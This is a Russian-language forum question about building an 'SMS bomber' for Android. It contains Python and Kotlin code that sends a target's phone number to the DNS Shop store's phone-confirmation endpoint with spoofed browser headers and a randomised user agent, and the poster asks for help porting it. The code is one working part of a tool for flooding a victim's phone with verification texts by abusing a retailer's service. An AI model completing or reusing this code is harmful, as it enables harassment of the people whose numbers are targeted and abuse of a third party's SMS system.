Смс-бомбер на андромд
Мне нужно переписать этот код так, чтобы он работал нативно на android. Либо на java, либо на js. Мои попытки на kotlin и с Fuel, и с okhttp не увенчались успехом, прилагаю свой код с Fuel. Хотя я не смог получить ответ от сервера, так что вообще не понимаю в чем дело
python:
def dns_shop(self):
requests.post('https://www.dns-shop.ru/order/order-single-page/check-and-initiate-phone-confirmation/',
params={'phone':self.phone,
'is_repeat':0, 'order_guid':1},
headers={'X-Requested-With':'XMLHttpRequest',
'Connection':'keep-alive',
'Pragma':'no-cache',
'Cache-Control':'no-cache',
'Accept-Encoding':'gzip, deflate, br',
'User-Agent':random_useragent(),
'DNT':'1'})
kotlin с fuel:
fun dns_shop(phone: String) {
Fuel.post("https://www.dns-shop.ru/order/order-single-page/check-and-initiate-phone-confirmation/")
.jsonBody("{\"phone\":\"$phone\", \"is_repeat\":0, \"order_guid\":1}")
.header("X-Requested-With", "XMLHttpRequest")
.header("Connection","keep-alive")
.header("Pragma","no-cache")
.header("Cache-Control","no-cache")
.header("Accept-Encoding","gzip, deflate, br")
.header("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0")
.header("DNT","1")
.also { println(it) }
.response { result -> }
}